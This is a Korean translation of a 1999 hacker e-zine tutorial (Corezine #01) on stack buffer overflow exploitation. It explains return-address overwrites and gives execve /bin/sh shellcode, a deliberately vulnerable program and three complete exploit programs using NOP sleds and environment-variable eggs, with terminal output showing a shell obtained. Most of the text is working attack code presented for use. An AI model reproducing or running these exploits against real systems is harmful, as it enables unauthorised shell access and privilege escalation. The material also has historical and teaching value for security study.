----------------------------------------------------------------------------
                  _____                 _______            
                 /  __ \               |___  (_)           
                 | /  \/ ___  _ __ ___    / / _ _ __   ___ 
                 | |    / _ \| '__/ _ \  / / | | '_ \ / _ \
                 | \__/\ (_) | | |  __/./ /__| | | | |  __/
                  \____/\___/|_|  \___|\_____/_|_| |_|\___|
                                           
------[ Corezine volume 01 - Juli 1999                     
                                
                                Corezine #01
                             ==================

-----------------------[ BUFFEROVERFLOWS
          by Lamagra <access-granted@geocities.com
          http://bounce.to/unah16

         번역 : by Anesra < anesra@hanmail.net >
              

--------------------[ 소개

이 가이드 안에서, 당신은 버퍼오버플로어가 무엇이고, 그것을 익스플로잇하기 
위한 방법을 배우게 될것이다. C와 ASM에 대한 기본적인 지식이 요구된다. 
GDB를 다뤄본 경험은 매우 도움이 될 것이나 그것이 꼭 필요하지는 않다.


------------[ 메모리 구조
              

메모리는 아래와 같은 세가지 영역으로 나눠져있다.


1. 텍스트 영역
        이 영역은 프로그램 명령어들의 저장을 위해 사용된다.
        그 때문에, 이 영역은 오직 읽기영역으로 정해져있고, 이 영역에 
        쓰기를 시도하면 곧 에러가 발생할 것이다.

2. 데이타 영역
        Static 변수가 여기에 저장되고 그 크기는 brk() 시스템 콜에 의해서 
        변할수 있게 된다.


3. 스택
        스택은 마지막 장소에서 처음으로 제거되는 특별한 속성을 가진다.
        컴퓨터 과학에서, 이것은 last in, first out(LIFO)라고 불리운다.
        스택은 함수또는 프로시져의 사용을 위해서 디자인 된다.
        프로시져는 jump와 같은, 그러나 jump가 아니더라도 그것은 그 명령어가
        끝나고 난 후에 return하기에 프로그램의 흐름이 변한다.
        리턴 어드레스는 이 목적을 위해 스택의 장소에 있게 될 것이다.

        이것은 또한 함수안에 사용되는 동적인 변수 할당을 위해 사용된다.
        그것은 파라메터이고 리턴 값이다.

------------[  리턴 어드레스와 IP
                

컴퓨터는 명령어들과 다음 명령어를 가리키는 포인터인 IP(Instruction Pointer)
들로써 수행된다. 함수나 프로시져가 호출될 때, 오래된 IP는 RET(Return address)로써 
스택에 저장된다. RET의 수행이 끝난뒤에는 IP가 교체되고 프로그램은 계속 진행될 것이다.


------------[ 버퍼오버플로어
                


버퍼오버플로어가 사용되는 예제를 눈여겨 보자

<++> buffer/example.c
void main()
{
        char big_string[100];
        char small_string[50];

        memset(big_string,0x41,100);
        /* strcpy(char *to,char *from) */
        strcpy(small_string,big_string);
}
<--> end of example.c


프로그램은 두 문자열들을 생성하고, memset()으로써 big_strings에는 
char 0x41(=A)를 가지게 된다. 그리고 나서 small_string 안에 big_string를 복사 한다.
보는 바와 같이 small_string에는 100 char를 저장시킬수 없을 것이고 곧
버퍼오버플로어가 생길 것이다.


메모리 구조를 보자:


[    big_string     ] [ small_string ] [SFP] [RET] 



버퍼오버플로어 되는 동안 SFP(Stack Frame Pointer)와 RET는 A로써 덥어쓰여질것이다.
이것은 RET가 0x41414141(0x41은 A의 16진수 값이다)이 된다는 것을 의미한다.
함수가 리턴될때, IP는 RET를 덥어씀으로써 교체 될 것이다. 그리고 나서 컴퓨터가
0x41414141에 있는 명령어를 수행하기 위해 시도할 것이다. 이것은 이 주소가 프로세스 
공간의 외부이기 때문에 세그먼트 침해의 결과가 될 것이다.


--------------------[ 이용


이제 우리는 RET를 덥어씀으로써 프로그램의 흐름을 바꿀 수 있는 방법을 알게 되었다.
우리는 그것을 익스플로잇 할 수 있게 된다. A를 덥어쓰는 것 대신에, 우리는 특정한
주소를 그것에 덥어쓸 수 있을 것이다.

------------[ 임의의 코드 실행
                

Now we need something to point the address to and execute. In most cases 
we'll just spawn a shell, although this is not the only thing we can do.

이제 우리는 실행하기 위한 주소 포인트가 필요하다. 대부분 경우
우리는 비록 이것이 우리가 할 수 있는 것일 지라도 쉘을 넣을 수 있을 것이다.

Before:

        FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF

        B = the buffer
        E = stack frame pointer
        R = return address
        F = other data


        

After:

        FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

        S = shellcode
        A = address pointing to the shellcode
        F = other data



쉘을 만들기 위한 C로 된 코드는 아래와 같다:


<++> buffer/shell.c
void main(){
  char *name[2];

  name[0] = "/bin/sh";
  name[1] = 0x0;
  execve(name[0], name, 0x0);
  exit(0);
}
<--> end of shellcode


어떻게 쉘코드가 생성되는지에 대한 자세한 설명은 ASM에 대한 많은 지식을 요구하기 
때문에 하지 않겠다.(역자 주:쉘코드만드는 자세한 방법은 KHDP에서 shellcode로 
검색하면 willy님이 쓰신 문서가 있을 것이다.) 여기에서 충분히 쉘코드를 
이용할 수 있기 때문에 그런 자세한 설명은 필요가 없는 길고 지루한 절차이다.  



그것(=shellcode)를 만들기 위한 방법을 배우기 위해 필요한 것은 다음과 같다:
        - -static flag를 사용하여 프로그램을 컴파일 해야 한다.
        - gdb를 열어서 "disassemble main"이라는 명령어를 사용한다.
        - 모든 필요한 코드부분을 가져온다.(문서 오타 같음: unnecessary가 necessary가 
        되야 하는거 같음) 
        - 그것을 ASM으로 다시 작성한다.
        - 컴파일 한뒤, gdb로써 그것을 열고 "disassemble main"이란 명령어를 사용한다.
        - 명령어 주소에 x/bx 명령어를 사용하고 hex-code를 가져온다.

                               XXXXXXXXXXX
                               X WAKE UP X
                               XXXXXXXXXXX

                                
이런 쉘코드를 얻을 수 있을 껏이다.

char shellcode[]=
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";



------------[ 주소를 찾자.


우리가 다른 프로그램의 버퍼에 오버플로어를 시도할 때, 문제는 버퍼의 주소를 찾는
것이다. 이 문제에 대한 답은 모든 프로그램의 스택은 같은 주소에서 시작한다.
그래서 스택의 시작 위치만 알면 우리는 버퍼의 주소를 추측하기 위해 노력할 수 있다.


이 프로그램은 우리에거 stack pointer를 준다:

<++> buffer/getsp.c
unsigned long get_sp(void){
  __asm__("movl %esp, %eax);
}
void main(){
   fprintf(stdout,"0x%x\n",get_sp());
}
<--> end of getsp.c


------------[ 예제를 익스플로잇 하기 위한 시도.


우리는 이 프로그램을 익스플로잇 하기위해 시도한다:

<++> buffer/hole.c
void main(int argc,char **argv[]){
  char buffer[512];

  if (argc > 1) /* otherwise we crash our little program */
     strcpy(buffer,argv[1]);
}
<--> end of hole.c
<++> buffer/exploit1.c
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) 
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
         printf("Can't allocate memory.\n");
         exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
       *(addr_ptr++) = addr;

  ptr += 4;

  for (i = 0; i < strlen(shellcode); i++)
          *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"BUF=",4);
  putenv(buff);
  system("/bin/bash");
}
<--> end of exploit1.c


이제 우리는 오프셋을 추측하기 위한 시도를 할 것이다.(버퍼주소=스택포인트+오프셋)

[bubbles]$ exploit1 600
Using address: 0xbffff6c3
[bubbles]$ ./hole $BUF
[bubbles]$ exploit1 600 100
Using address: 0xbffffce6
[bubbles]$ ./hole $BUF
segmentation fault
etc.

etc.



이 과정을 보면 알겠지만 버퍼의 정확한 주소를 추측하는 것은 거의 불가능하다. 
오퍼플로어 버퍼안에있는 쉘코드 앞에 NOP를 매꿔넣음으로써 기회는 증가한다.
우리는 버퍼의 정확한 주소를 추측하기 힘들기 때문에 그것(=NOP)을 사용한다.
만일 NOPstring안에 리턴주소가 덮어진다면, 우리의 코드는 다음으로 실행될 것이다.


메모리는 아래와 같이 보여질 것이다:

        FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

        N = NOP
        S = shellcode
        A = address pointing to the shellcode
        F = other data


우리의 이전 익스플로잇을 다시 작성한다.

<++> buffer/exploit2.c
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) 
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
         *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
         buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
         *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"BUF=",4);
  putenv(buff);
  system("/bin/bash");
}
<--> end of exploit2.c

[bubbles]$ exploit2 600
Using address: 0xbffff6c3
[bubbles]$ ./hole $BUF
segmentation fault
[bubbles]$ exploit2 600 100
Using address: 0xbffffce6
[bubbles]$ ./hole $BUF
#exit
[bubbles]$



우리의 익스플로잇을 더 개선시키깅 위해, 환경변수안에 쉘코드를 놓는다.
그 다음에 우리는 이 변수의 주소로 버퍼를 오퍼플로우 시킬수 있다.


우리는 환경변수에 쉘코드를 넣기위해 seteuv() call을 사용함으로써 우리의 코드를 수정한다.

<++> buffer/exploit3.c
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) 
{
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;

   if (argc > 1) bsize   = atoi(argv[1]);
   if (argc > 2) offset  = atoi(argv[2]);
   if (argc > 3) eggsize = atoi(argv[3]);

   if (!(buff = malloc(bsize))) {
         printf("Can't allocate memory.\n");
         exit(0);
   }
                                     
   if (!(egg = malloc(eggsize))) {
         printf("Can't allocate memory.\n");
         exit(0);
   }

   addr = get_esp() - offset;
   printf("Using address: 0x%x\n", addr);

   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
           *(addr_ptr++) = addr;

   ptr = egg;
   for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
             *(ptr++) = NOP;

   for (i = 0; i < strlen(shellcode); i++)
             *(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';
   memcpy(egg,"BUF=",4);
   putenv(egg);
   memcpy(buff,"RET=",4);
   putenv(buff);
   system("/bin/bash");
}
end of exploit3.c

[bubbles]$ exploit2 600 
Using address: 0xbffff5d7
[bubbles]$ ./hole $RET
#exit
[bubbles]$

--------------------[ 버퍼오버플로어를 찾아라.



여기선 실제로 소스를 읽음으로써 버퍼오버플로어를 찾는 방법 한가지만 말하였다.
리눅스가 오픈 소스 시스템이기 때문에, 프로그램의 소스를 얻기는 쉬울 것이다.
오픈 소스가 오래 지속되길.


boundary checking(역자주:버퍼가 넘치는걸 체크하지 않는) 를 하지 않는 라이브러리 함수들: 

        strcpy(), strcat(), sprintf(), vsprintf(), scanf().


다른 위험성을 가지고 있는것들:

        getc() and getchar() put in a while loop.
        misuse of strncat.

--------------------[ 다른 참조문서
                        
Smashing the stack for fun and profit by aleph1
bufferoverflows by mudge




--------------------[ 마침


이것을 끝마치고 나서, 나는 당신들이 이 가이드를 읽고 즐기며 어떤 걸 배우길 희망한다.
나는 그것을 쓰는게 즐거웠다.
만일 앞으로 어떤 질문이나, 의견이 있으면 IRC(irc.box5.net)에 있는 어떤 채널에서 나를 찾아라.

--------------------[ EOF